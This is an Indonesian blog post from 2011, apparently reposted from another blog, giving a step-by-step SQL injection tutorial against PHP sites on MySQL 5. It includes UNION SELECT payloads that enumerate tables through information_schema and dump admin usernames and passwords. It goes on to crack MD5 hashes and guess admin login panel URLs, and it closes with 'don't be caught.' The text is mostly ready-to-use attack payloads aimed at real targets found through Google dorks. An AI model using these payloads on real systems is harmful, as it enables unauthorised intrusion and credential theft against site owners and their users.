A. Definisi
Teknik yang digunakan attacker untuk mengeksekusi query database di url untuk mendapatkan akses membaca informasi-informasi rahasia pada situs target.
B. Pendahuluan
Mungkin ada yang bertanya, “kenapa v.5?”.
Karena pada v.5, terdapat database default yang tidak bisa diubah namanya. Dengan kata lain nama databasenya sudah ditentukan sendiri yaitu “information_schema” yang berisi nama-nama tabel antara lain:
CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRIVILEGES, KEY_COLUMN_USAGE,
OUTINES, SCHEMATA, SCHEMA_PRIVILEGES, STATISTICS, TABLES, TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TRIGGERS,
USER_PRIVILEGES, VIEWS
Sedangkan untuk v.4 tidak memiliki database default. Sehingga Admin maupun Web Programmer bisa memberikan nama databasenya masing-masing. Lalu kenapa? Jawabannya akan terjawab di sela-sela tutorial ini.
C. Langkah Kerja
1. Tentukan Target
Target bisa Anda temukan menggunakan “Google Dork” (definisinya Anda bisa mencari sendiri)
Misalkan url target:
http://www.target.com/index.php?id=1
2. Cek Sql Injection Vulnerability
Gunakan salah satu query di bawah ini:
http://www.target.com/index.php?id=1′
http://www.target.com/index.php?id=-1
http://www.target.com/index.php?id=null
http://www.target.com/index.php?id=1 and 1=0–
Jika pada halaman tersebut terdapat error message, atau ada bagian yang hilang, Anda mulai bisa tersenyum simpul .
Artinya situs tersebut menampakkan gejala awal kesalahan yang luput dari pandangan sang Admin, Developer, ataupun Web Programmernya.
3. Mencari Jumlah Kolom
http://www.target.com/index.php?id=1 order by 100–
Jika keluar pesan error Unknown column ‘100? in ‘order clause’, Anda boleh tersenyum lebih lebar . Tapi ada juga yang tidak bereaksi seperti itu dengan query tersebut. Misalnya ada page yang hilang, atau ada pesan error sql yang lain. Tapi apapun hasilnya, lebih baik kita lanjutkan ke langkah berikutnya. Oiy sebelum berlanjut, jika ini terjadi, artinya jumlah kolomnya lebih sedikit dari 100.
http://www.target.com/index.php?id=1 order by 1–
Jika setelah diinject dengan query tersebut halamannya terlihat normal, maka bisa kita lanjutkan ke langkah
berikutnya. Tetapi jika masih tetap error, sayang sekali Anda kurang beruntung. Ok, jika misalka halamannya terlihat normal, kita lanjutkan dengan mencari jumlah kolomnya. Ganti-ganti nilai order by dengan angka lain antara 1-100. Saran ane lanjutkan dengan angka 10.
http://www.target.com/index.php?id=1 order by 10–
Jika dengan angka 10 halamannya masih terlihat normal, berarti jumlah kolomnya lebih besar dari 10, tetapi jika keluar pesan error, maka jumlah kolomnya lebih kecil dari 10. Lanjutkan pencarian jumlah kolo sampai didapatkan batas errornya, maksudnya misalkan setelah dicoba-coba, pada angka 5 halama normal, tap pada angka 6 halaman error, ini berarti jumlah kolomnya adalah 5.
4. Mencari “Magic Number”
Langkah selanjutnya mencari angka “ajaib”. Masukkan secara berurutan jumlah kolom yang Anda temukan sebelumnya (misalnya disini ane menemukan jumlah kolomnya 5). But wait!! Sebelumnya kita harus mengganti isi data dari kolom id dengan sesuatu yg tidak ada di situs tersebut. Misalkan id=null, id=99999, atw id=-1. Mengapa begitu? karena query yang akan kita eksekusi memanfaatkan error message yang tertulis di situs target. Jadi isi data dari kolom id harus diexecute dengan sesuatu yg mengakibatkan halaman tersebut error. Misalkan:
http://www.target.com/index.php?id=-1 union select 1,2,3,4,5–
http://www.target.com/index.php?id=null union select 1,2,3,4,5–
http://www.target.com/index.php?id=9999 union select 1,2,3,4,5–
Dari sini terserah Anda menggunakan query yang mana, yang penting berhasil. Ane gunakan salah satunya aja yaitu:
http://www.target.com/index.php?id=null union select 1,2,3,4,5–
Abrakadabra… keluarlah angka ajaibnya…
Misalnya angka ajaib yang keluar adalah angka 3 (angka ajaib yang keluar bisa lebih dari satu), maka di query
yang sebelumnya, kita akan mengganti angka 3 dengan query-query yang lain
mencari nama database :
http://www.target.com/index.php?id=null union select 1,2,database(),4,5–
mencari nama user :
http://www.target.com/index.php?id=null union select 1,2,user(),4,5–
mencari versi MySQL :
http://www.target.com/index.php?id=null union select 1,2,version(),4,5–
5. Mencari Versi MySQL
Versi MySQL dapat dicek dengan menggunakan query diatas. Jika hasilnya v.4, penulis menyarankan untuk tidak melanjutkan membaca tutorial ini. Karena dari judulnya saja sudah jelas bahwa ini tutorial untuk v.5. Akan tetapi, jika Anda masih bersikeras untuk menghajar situs tersebut, Anda bisa menggunakan script tools seperti Schemafuzzy.py atau yang lainnya (script schemafuzzy.py bisa di download di section Downloads). Cara menggunakannya? Tidak akan ada di tutor ini . Okey, misalnya setelah query untu mencari versi MySQL diexecute, hasilnya menunjukkan bahwa situs tersebut menggunakan MySQL versi 5, maka silahkan melanjutkan membaca tutorial ini.
6. Mencari Nama-nama Tabel
http://www.target.com/index.php?id=null union select 1,2,group_concat(table_name),4,5from information_schema.tables where table_schema=database()–
Mulai dari langkah inilah perbedaan metode antara MySQL v.4 dan v.5. Seperti yang dijelaskan sebelumnya diatas, bahwa pada v.4, tidak ada database default seperti yang ada pada v.5. Sehingga pada v.4 tidak bisa menggunakan query diatas. Karena kita tidak tahu nama databasenya. Sedangkan pada v.5 sudah ada nama database defaultnya yaitu “information_schema”. Sehingga jika ingin mempenetrasi situs yang menggunakan MySQL v.4, attacker harus bisa menebak-nebak nama databasenya. Inilah yang dinamakan Blind SQL Injection.
Lanjutkan untuk v.5. Jika query diatas diexecute, maka akan keluar sederetan nama-nama tabelnya. Pilih salah satu nama tabel yang mencurigakan, maksudnya disini adalah nama tabel yang kira-kira berisi password. Misalnya di deretan nama-nama tabel tersebut ada nama tabel “admin”. Langkah selanjutnya adalah mengintip nama-nama kolom dari tabel “admin”. Tapi sebelum kita melanjutkan, ada beberapa kasus dimana browser tidak dapat memuat seluruh nama-nama tabel karena banyaknya. Untuk dapat membaca semua nama-nama tabelnya, gunakan fungsi limit :
http://www.target.com/index.php?id=null union select 1,2,(table_name),4,5 from information_schema.tables limit
0,1–
Kemudian ganti nilai 0 dengan 1
http://www.target.com/index.php?id=null union select 1,2,(table_name),4,5 from information_schema.tables limit
1,1–
dan seterusnya hingga didapat nama tabel yang mencurigakan.
7. Mencari Nama-nama Kolom
Selanjutnya mencari nama-nama kolom dari tabel “admin” :
http://www.target.com/index.php?id=null union select 1,2,group_concat(column_name),4,5 from
information_schema.columns where table_name=’admin’–
Apakah keluar nama kolomnya? Mungkin tidak . Karena kita harus merubah text “admin” ke dalam bentuk hexa.
Bagi yang belum mengetahui caranya, bisa menggunakan tools di http://www.pl4y31286.0fees.net/tools/text/.
Setelah diubah ke hex, text “admin” akan menjadi “61646D696E”. Masukan hex tersebut (jangan lupa ditambahkan 0x
didepannya ) ke query sebelumnya, sehingga menjadi :
http://www.target.com/index.php?id=null union select 1,2,group_concat(column_name),4,5 from
information_schema.columns where table_name=0×61646D696E–
Misalnya nama kolom yang keluar adalah username dan password. Selanjutnya kita akan mengintip isi kolomnya.
8. Membaca Isi Kolom
Setelah kita menemukan kolom yang kita cari, selanjutnya adalah mengintip isi kolom tersebut. Caranya :
http://www.target.com/index.php?id=null union select 1,2,group_concat(username,0×3a3a,password),4,5 from admin–
Gothca!!!
Keluarlah data-data rahasia tersebut. Disana terlihat nama user beserta passwordnya yang digunakan untuk login.
Jika situs target adalah situs pribadi, kemungkinan besar username dan password yang terlihat hanya satu. Tetapi jika situs target merupakan situs komunitas, maka kemungkinan username dan password yan terlihat lebih dari satu.
Asumsi situs target adalah situs pribadi. Di bawah ini adalah salah satu contoh hasil eksekusi.
admin::pass123
“admin” merupakan username yang digunakan untuk login sebagai admin atau webmaster situs target, dan “pass123″ adalah passwordnya. Sedangkan “::” adalah string dari hexa “3a3a”. Double colone tersebu digunakan sebagai pembatas agar antara username dan password tidak tercampur.
Adakalanya hari sial menimpa Anda. Yaitu ketika passwordnya telah dienkripsi ataupun dihashing. Misalnya yang terlihat adalah pass yang sudah di enkripsi menggunakan enkripsi base64 seperti di bawah ini:
admin::cGFzczEyMw==
Atau pass yang sudah dihashing menggunakan MD5 :
admin::32250170a0dca92d53ec9624f336ca24
Sebenarnya jika sesuai judul, maka tutor ini selesai sampai disini. Tapi agar lebih gregetz , penulis
menambahkan sedikit finishing touch-nya.
D. Penyelesaian
9. Decrypting & Cracking
Decrypting termasuk cracking, tetapi cracking tidak selamanya decrypting. Enkripsi base64 bisa didekrip dengan mudah menggunakan situs-situs yang menyediakan decoder base64. Salah satunya ada di web ini :
http://www.pl4y31286.0fees.net/tools/text/
Sedangkan MD5 adalah salah satu metode hashing yang paling populer untuk saat ini. Beda denga encrypting (walaupun banyak yang bilang MD5 adalah encrypting), hashing tidak dapat di reverse a.k.a di decrypt. Akan sangat panjang untuk menjelaskan alasannya. So, mulai sekarang berteman akrablah dengan yang namanya google, dan wikipedia .
Lalu bagaimana cara mengetahui passwordnya? Yaitu dengan men-crack-nya dengan beberapa teknik crack. Salah satunya dengan teknik Rainbow Table. Jika di PC anda belum terinstall software yang mendukung, Anda bisa memanfaatkan sarana situs cracker MD5 online. Berikut ini nama-nama situs yang bisa dijadikan rujukan untuk mengcrack hash MD5 secara online :
md5crack
md5google
passcracking
gdataonline
rednoize
Jika hash yang Anda temukan tidak ada di dalam database mereka, tetapi Anda masih tetap ingin menjadi admin site tersebut, Anda bisa menggunakan teknik crack lain, seperti Brute Force, Rainbow Table, Dictionary Attack. Tools yang bisa digunakan banyak, Cain n Abel, John The Ripper, dll. Salah satu tool brute force yaitu dengan menggunakan script perl di bawah ini :
Script Perl for MD5 Brute Force
Metode ini cukup efektif, tapi ada kelemahan terbesar pada metode ini, yaitu membutuhkan waktu yang sangat lama untuk men-crack hashnya. Karena semua permutasi karakter untuk password akan dicoba dicocokkan dengan hash yang ingin di-crack. Penulis pernah mencoba untuk men-crack hash yang dibatasi 6 karakter dengan hanya menggunakan karakter huruf kecil, kapital dan angka. Waktu yang dibutuhkan adalah 3 jam lebih. Lalu bagaimana jika passwordnya itu lebih dari 6 karakter, atau bahkan menggunakan kombinasi yang lebih rumit seperti @#%&*#? Misalkan passnya adalah pl4y312_$4n64t_64nt3n6 (md5=740c24b08feaa4a46562124a1283f9a6) ;, bisa dipastikan waktu untuk mengcrack hash tersebut akan memakan waktu yang sangat lama (mungkin sampai anda meninggalpun, hash tersebut belum berhasil
dicrack )
10. Mencari Panel Login Admin
Langkah pertama adalah mencari kolom login pada halaman utama. Jika tidak ada, cari link refer to login admin panel. Jika tidak ada juga, tambahkan pada url salah satu daru query-query atau nama-nama file yang mungkin terdapat panel login admin. Misalnya :
http://www.target.com/admin
http://www.target.com/admin.php
http://www.target.com/admin/login
http://www.target.com/administrator
http://www.target.com/login
Gunakan kreatifitas Anda.
Pada langkah ini cukup banyak attacker yang kesulitan untuk menemukannya. Karena pada beberapa situs, panel login
adminnya disembunyikan oleh admin dengan cara menghindari menamai script file login dari nama-nama yang umum,
misalnya admin.php, administrator.php, ataupun login.php.
Pesan-pesan sponsor :
1. Penulis tidak bertanggung jawab terhadap efek samping dari tutorial ini.
2. Deface bukanlah ide bagus untuk menunjukkan bahwa Anda hebat.
3. Laporkan kepada admin situs yang anda jadikan target bahwa situs mereka memiliki bug SQL Injection.
4. Don’t learn to hack, hack to learn.
5. Good luck, and don’t be caught!!!
sumber:http://blog.dieq41.com/sql-injection-mysql-ver5-di-php.html
SQL Injection on PHP MySQL v.5
Diposting oleh
khoiril
, Kamis, 13 Januari 2011 at 01.56, in
Label:
HACKING
Langganan:
Posting Komentar (Atom)
0 komentar:
Posting Komentar